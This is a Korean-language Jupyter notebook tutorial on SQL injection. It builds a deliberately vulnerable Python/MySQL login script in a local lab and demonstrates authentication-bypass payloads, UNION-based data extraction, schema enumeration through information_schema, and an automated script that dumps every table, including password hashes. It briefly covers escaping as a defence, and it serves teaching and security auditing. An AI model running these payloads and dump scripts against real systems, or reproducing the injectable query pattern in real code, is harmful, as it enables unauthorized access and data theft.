모바일 배려:http://nbviewer.ipython.org/url/ipy.lucent.me/sqlinjection.ipynb

SQL Injection

May 2015, Changyoung Koh

서문

꽤 많은 경우 우리는 SQL을 이용해서 프로그램을 작성한다.
SQL은 익숙해지면 굉장히 편리하지만, 각별히 주의하지 않으면 심각한 보안 취약점을 갖게 된다는 약점을 가지고 있다.
아래 코드를 보자.

In [1]:
%%writefile sql1.py
#!/usr/bin/python
#-*-coding:utf-8-*-
import MySQLdb
import hashlib

db = MySQLdb.connect("localhost","secutest", "1234!@#$","secutest" )
cursor = db.cursor()

#Setup some dummy data
try:
    cursor.execute('CREATE TABLE Accounts(id VARCHAR(64), password VARCHAR(64))')
    cursor.execute('INSERT INTO Accounts(id, password) VALUES("%s", "%s")' % ("admin", hashlib.sha1("adminpass").hexdigest()))
    cursor.execute('INSERT INTO Accounts(id, password) VALUES("%s", "%s")' % ("user1", hashlib.sha1("pass1ssap").hexdigest()))
    cursor.execute('INSERT INTO Accounts(id, password) VALUES("%s", "%s")' % ("user2", hashlib.sha1("somepassword").hexdigest()))
    db.commit()
except:
    pass

#Get credentials
login_id = raw_input()
login_pw = raw_input()

#Try login
cursor.execute('SELECT * FROM Accounts WHERE id="%s" AND password="%s"' % (login_id, hashlib.sha1(login_pw).hexdigest()))
data = cursor.fetchone()
if data:
    print 'Success! Welcome %s.' % data[0]
else:
    print 'Failed: check your id - password combination.'

db.close()
Overwriting sql1.py

이 코드에 다음과 같이 옳은 계정 정보를 입력하면 로그인에 성공했다는 메시지를 볼 수 있다.

In [2]:
!echo "admin\nadminpass" | python sql1.py
Success! Welcome admin.

그리고 틀린 계정 정보를 입력하면 로그인에 성공했다는 메시지를 볼 수 있다.

In [3]:
!echo "admin\nadminpass1" | python sql1.py
Failed: check your id - password combination.

하지만 틀린 것도 틀린 것 나름, 이렇게 입력하면..

In [4]:
!echo 'admin" or "1" = "1"#\n' | python sql1.py
Success! Welcome admin.

놀랍게도 로그인에 성공했다는 메시지를 볼 수 있다. 어떻게 된 일인지 쿼리문을 출력해서 확인해보자.

In [5]:
import hashlib
print 'SELECT * FROM Accounts WHERE id="%s" AND password="%s"' % ('admin" or "1" = "1"#', hashlib.sha1("").hexdigest())
SELECT * FROM Accounts WHERE id="admin" or "1" = "1"#" AND password="da39a3ee5e6b4b0d3255bfef95601890afd80709"

MySQL상에서 #은 주석을 뜻한다(파이썬과 같이).
따라서 실제 쿼리문은 # 앞까지가 되는데,
WHERE 뒷 부분을 보면 조건식이 "id==admin 이거나 1==1인 경우" 라는 뜻이기 때문에 무조건 참을 반환하도록 되어있음을 알 수 있다.
따라서 해당 쿼리문은 테이블 내의 모든 계정 정보를 가져오게 되는 것이다.

뭐 "하지만 이렇게 고치면 위와 같은 공격은 무효화되지 않나요?" 라고 할 수도 있는 방안이 몇 가지 있긴 하다.
일단 그중 가장 의미없는 것 부터 살펴보자.

In [ ]:
#... (sql1.py)
#Try login
cursor.execute('SELECT * FROM Accounts WHERE id="%s" AND password="%s"' % (login_id, hashlib.sha1(login_pw).hexdigest()))
data = cursor.fetchall()
if data and len(data) == 1 and data[0][0] == login_id:
    print 'Success! Welcome %s.' % data[0][0]
else:
    print 'Failed: check your id - password combination.'
#...

이걸 보다보면 아마 금방 떠오를텐데, 더 간단하지만 더 강력한 방법이 있다.

In [6]:
!echo 'admin"#\n' | python sql1.py
Success! Welcome admin.

그래서 보통 이러한 공격을 막을 때에는 특수문자 / SQL 쿼리 예약어 등을 모두 필터링해버리는 방법을 사용한다.
공격이 성공할 경우 정보 유출, 변조, 삭제 등의 위험이 크기 때문에 최대한 확실한 방법을 사용해야 하기 때문이다.

In [ ]:
#... (sql1.py)
#Try login
login_id = MySQLdb.escape_string(login_id)
cursor.execute('SELECT * FROM Accounts WHERE id="%s" AND password="%s"' % (login_id, hashlib.sha1(login_pw).hexdigest()))
#...
In [7]:
!echo 'admin"#\n' | python sql1.py
Failed: check your id - password combination.

실제 공격 패턴

이제 공격 및 방어에 대한 개략적인 소개는 끝났다.
여기서부터는 해당 공격 방법과 그 활용 범위에 대해 조금 더 살펴보자.

일단 새로운 테이블과 새로운 데이터를 추가하자.
이번에는 앞서 살펴본 로그인 프로그램을 이용해서 아래의 성적 데이터를 유출하는 방법을 알아볼 것이다.

In [8]:
import MySQLdb

db = MySQLdb.connect("localhost","secutest", "1234!@#$","secutest" )
cursor = db.cursor()

cursor.execute('CREATE TABLE Grade(id VARCHAR(64), course VARCHAR(64), grade VARCHAR(64))')
cursor.execute('INSERT INTO Grade(id, course, grade) VALUES("%s", "%s", "%s")' % ("user1", "Artificial Intelligence", "A+"))
cursor.execute('INSERT INTO Grade(id, course, grade) VALUES("%s", "%s", "%s")' % ("user1", "Design Patterns", "B+"))
cursor.execute('INSERT INTO Grade(id, course, grade) VALUES("%s", "%s", "%s")' % ("user1", "Introduction to Algorithm", "C+"))
cursor.execute('INSERT INTO Grade(id, course, grade) VALUES("%s", "%s", "%s")' % ("user2", "Introduction to Algorithm", "A-"))
cursor.execute('INSERT INTO Grade(id, course, grade) VALUES("%s", "%s", "%s")' % ("user2", "Introduction to Database System", "B-"))
cursor.execute('INSERT INTO Grade(id, course, grade) VALUES("%s", "%s", "%s")' % ("user2", "Computer Networking", "B+"))

db.commit()
db.close()

SQL에서 다른 테이블의 데이터를 가져오는 방법중 하나는 UNION 연산을 이용하는 것이다.
다음 공격 코드를 보자.

In [9]:
!echo '1" or "1" = "1" union select course,grade from Grade limit 6,1#\n' | python sql1.py
Success! Welcome Introduction to Algorithm.
In [10]:
!echo '1" or "1" = "1" union select grade,course from Grade limit 6,1#\n' | python sql1.py
Success! Welcome A-.

이게 어떻게 된 일인지를 이해하기 위해 실제 MySQL에서 어떤 쿼리를 만들고, 어떤 결과를 반환하는지 살펴보자.

In [11]:
!mysql -u secutest -p'1234!@#$' -e 'use secutest; SELECT * FROM Accounts WHERE id="1" or "1" = "1" UNION SELECT grade,course FROM Grade'
+-------+------------------------------------------+
| id    | password                                 |
+-------+------------------------------------------+
| admin | 74913f5cd5f61ec0bcfdb775414c2fb3d161b620 |
| user1 | ff0825382c957edd9a49ddef3830c38c094762d6 |
| user2 | f8377c90fcfd699f0ddbdcb30c2c9183d2d933ea |
| A+    | Artificial Intelligence                  |
| B+    | Design Patterns                          |
| C+    | Introduction to Algorithm                |
| A-    | Introduction to Algorithm                |
| B-    | Introduction to Database System          |
| B+    | Computer Networking                      |
+-------+------------------------------------------+

결과를 보면 앞의 세 개는 원래 쿼리의 결과(SELECT * FROM Accounts)이지만
그 아래는 모두 Grade 테이블의 내용임을 알 수 있다.
특히 id 자리에 Grade.gradepassword 자리에 Grade.course가 들어가 있는 것이 특이한데,
다시 쿼리문으로 돌아가면 SELECT * FROM Accounts WHERE id="1" or "1" = "1" UNION SELECT grade,course FROM Grade
grade와 course의 순서가 각각 id와 password의 자리를 나타내고 있다.
따라서 첫번째 커맨드에서는 과목명(course)가 출력되고, 두번째 커맨드에서는 성적(grade)이 id로써 출력된 것이다.
이제 LIMIT까지 포함한 쿼리를 확인해보자.

In [12]:
!mysql -u secutest -p'1234!@#$' -e 'use secutest; SELECT * FROM Accounts WHERE id="1" or "1" = "1" UNION SELECT grade,course FROM Grade LIMIT 6,1'
+------+---------------------------+
| id   | password                  |
+------+---------------------------+
| A-   | Introduction to Algorithm |
+------+---------------------------+

LIMIT에 두 개의 인자를 주면 첫 번째 인자는 시작 행 번호, 두 번째 인자는 가져올 행 개수를 나타내기 때문에
첫 번째 행의 정보만 출력하는 sql1.py로 원하는 정보를 출력하기 위해서는 첫 번째 행에 원하는 데이터가 가도록 쿼리를 설계해야 한다.
이런 이유로 실제로는 LIMIT만 사용하기보다는 COUNT나 ORDER BY 등의 연산을 함께 사용하는 경우가 많다.
다음 커맨드를 보자.

In [13]:
!echo '" UNION SELECT COUNT(*),"" FROM Accounts#\n' | python sql1.py
!mysql -u secutest -p'1234!@#$' -e 'use secutest; SELECT * FROM Accounts WHERE id="" UNION SELECT COUNT(*),"" FROM Accounts'
Success! Welcome 3.
+------+----------+
| id   | password |
+------+----------+
| 3    |          |
+------+----------+

이번에는 Accounts 테이블 안에 있는 행의 개수를 가져왔다.
조금 감이 잡혔으니 모든 데이터를 뽑아내보자.

In [14]:
import subprocess as sp

def QueryResult(query):
    return sp.Popen(['python', 'sql1.py'], stdin=sp.PIPE, stdout=sp.PIPE).communicate(query)[0][len('Success! Welcome '):-2]

n = int(QueryResult('" UNION SELECT COUNT(*),"" FROM Grade#\n\n'))

for i in xrange(n):
    id = QueryResult('" UNION ALL SELECT id,"" FROM Grade LIMIT %d,1#\n\n' % i)
    course = QueryResult('" UNION ALL SELECT course,"" FROM Grade LIMIT %d,1#\n\n' % i)
    grade = QueryResult('" UNION ALL SELECT grade,"" FROM Grade LIMIT %d,1#\n\n' % i)
    print id, course, grade
user1 Artificial Intelligence A+
user1 Design Patterns B+
user1 Introduction to Algorithm C+
user2 Introduction to Algorithm A-
user2 Introduction to Database System B-
user2 Computer Networking B+

(이번엔 UNION ALL을 이용했는데, 그냥 UNION을 할 경우 DISTINCT를 붙인 것과 같이 중복값이 제거되기 때문이다)

테이블과 컬럼의 정보를 모를 때

지금까지는 테이블과 쿼리의 정보를 모두 아는 상태에서 수행했는데,
이러한 정보가 없을 경우에는 이 정보를 알아내는 것 부터 해야 한다.

처음 해야 할 일은 UNION을 사용하기 위해 원래 select문이 가져오는 열의 수를 알아내는 것이다.

In [15]:
!echo '" order by 1#\n\n' | python sql1.py
!echo '" order by 2#\n\n' | python sql1.py
!echo '" order by 3#\n\n' | python sql1.py
Failed: check your id - password combination.
Failed: check your id - password combination.
Traceback (most recent call last):
  File "sql1.py", line 24, in <module>
    cursor.execute('SELECT * FROM Accounts WHERE id="%s" AND password="%s"' % (login_id, hashlib.sha1(login_pw).hexdigest()))
  File "/usr/local/lib/python2.7/dist-packages/MySQLdb/cursors.py", line 205, in execute
    self.errorhandler(self, exc, value)
  File "/usr/local/lib/python2.7/dist-packages/MySQLdb/connections.py", line 36, in defaulterrorhandler
    raise errorclass, errorvalue
_mysql_exceptions.OperationalError: (1054, "Unknown column '3' in 'order clause'")

여기서 ORDER BY 3일 때 에러가 처음 발생하는 것으로 보아 이 쿼리문은 2개의 열을 가져오는 것임을 알 수 있다.
매번 이렇게 찾을 수는 없으니 스크립트를 작성해서 찾아보자.

In [16]:
import subprocess as sp

def QueryError(query):
    return sp.Popen(['python', 'sql1.py'], stdin=sp.PIPE, stderr=sp.PIPE).communicate(query)[1][len('Success! Welcome '):-2]

for i in xrange(1,101):
    if len(QueryError('" ORDER BY %d#\n\n' % i)) > 0:
        print i - 1
        break
2
In [17]:
!echo '" UNION SELECT table_name,table_schema FROM information_schema.tables WHERE table_schema!="information_schema" LIMIT 0,1#\n\n' | python sql1.py
!echo '" UNION SELECT table_name,table_schema FROM information_schema.tables WHERE table_schema!="information_schema" LIMIT 1,1#\n\n' | python sql1.py
Success! Welcome Accounts.
Success! Welcome Grade.

MySQL에선 위와 같은 쿼리를 통해 테이블의 목록을 알 수 있다.
다른 DBMS를 이용할 경우 쿼리가 달라질 수 있는데, Cheat Sheet와 같은 것을 이용하면 쉽게 찾을 수 있다.

이제 테이블을 알아냈으니 컬럼을 확인해보자.

In [18]:
!echo '" UNION SELECT COUNT(column_name),table_name FROM information_schema.columns WHERE table_name="Grade"#\n\n' | python sql1.py
!echo '" UNION SELECT column_name,table_name FROM information_schema.columns WHERE table_name="Grade" LIMIT 0,1#\n\n' | python sql1.py
!echo '" UNION SELECT column_name,table_name FROM information_schema.columns WHERE table_name="Grade" LIMIT 1,1#\n\n' | python sql1.py
!echo '" UNION SELECT column_name,table_name FROM information_schema.columns WHERE table_name="Grade" LIMIT 2,1#\n\n' | python sql1.py
Success! Welcome 3.
Success! Welcome id.
Success! Welcome course.
Success! Welcome grade.

물론 이것도 실제로 할 땐 프로그램이나 스크립트를 작성하는 것이 현명하다.

In [19]:
import subprocess as sp

def QueryResult(query):
    return sp.Popen(['python', 'sql1.py'], stdin=sp.PIPE, stdout=sp.PIPE).communicate(query)[0][len('Success! Welcome '):-2]

def GetTables():
    n = int(QueryResult('" UNION SELECT COUNT(table_name),table_schema FROM information_schema.tables WHERE table_schema!="information_schema" LIMIT 0,1#\n\n'))
    return [QueryResult('" UNION SELECT table_name,table_schema FROM information_schema.tables WHERE table_schema!="information_schema" LIMIT %d,1#\n\n' % i) for i in xrange(n)]

def GetColumns(table):
    n = int(QueryResult('" UNION SELECT COUNT(column_name),table_name FROM information_schema.columns WHERE table_name="%s"#\n\n' % table))
    return [QueryResult('" UNION SELECT column_name,table_name FROM information_schema.columns WHERE table_name="%s" LIMIT %d,1#\n\n' % (table, i)) for i in xrange(n)]

for table in GetTables():
    print table, ":", GetColumns(table)
Accounts : ['id', 'password']
Grade : ['id', 'course', 'grade']

그리고 이 스크립트에 아까 스크립트를 추가하면 현재 DB 전체의 내용을 쉽게 얻어낼 수 있다.

In [20]:
import subprocess as sp

def QueryResult(query):
    return sp.Popen(['python', 'sql1.py'], stdin=sp.PIPE, stdout=sp.PIPE).communicate(query)[0][len('Success! Welcome '):-2]

def GetTables():
    n = int(QueryResult('" UNION SELECT COUNT(table_name),table_schema FROM information_schema.tables WHERE table_schema!="information_schema" LIMIT 0,1#\n\n'))
    return [QueryResult('" UNION SELECT table_name,table_schema FROM information_schema.tables WHERE table_schema!="information_schema" LIMIT %d,1#\n\n' % i) for i in xrange(n)]

def GetColumns(table):
    n = int(QueryResult('" UNION SELECT COUNT(column_name),table_name FROM information_schema.columns WHERE table_name="%s"#\n\n' % table))
    return [QueryResult('" UNION SELECT column_name,table_name FROM information_schema.columns WHERE table_name="%s" LIMIT %d,1#\n\n' % (table, i)) for i in xrange(n)]

def GetRows(table, columns):
    n = int(QueryResult('" UNION SELECT COUNT(*),"" FROM %s#\n\n' % table))
    return [[QueryResult('" UNION ALL SELECT %s,"" FROM %s LIMIT %d,1#\n\n' % (c, table, r)) for c in columns] for r in xrange(n)]

for table in GetTables():
    print '---------------[%s]---------------' % table
    for col in GetColumns(table):
        print "%s\t" % col,
    print ''
    for row in GetRows(table, GetColumns(table)):
        for col in row:
            print '%s' % col,
        print ''
    print '---------------------------------------'
---------------[Accounts]---------------
id	password	
admin 74913f5cd5f61ec0bcfdb775414c2fb3d161b620 
user1 ff0825382c957edd9a49ddef3830c38c094762d6 
user2 f8377c90fcfd699f0ddbdcb30c2c9183d2d933ea 
---------------------------------------
---------------[Grade]---------------
id	course	grade	
user1 Artificial Intelligence A+ 
user1 Design Patterns B+ 
user1 Introduction to Algorithm C+ 
user2 Introduction to Algorithm A- 
user2 Introduction to Database System B- 
user2 Computer Networking B+ 
---------------------------------------

자 여기까지 SQL Injection에 대해 간단하게 살펴봤다.
이제 SQL을 이용해서 프로그램을 작성하거나 보안을 점검할 때 활용해보자.

더 읽을거리

SQL Injection Filter 우회
Blind SQL Injection: 쿼리 결과가 직접 출력되지 않고, 0이나 1, 성공이나 실패처럼 두 가지 중 하나로만 출력될 때 사용한다.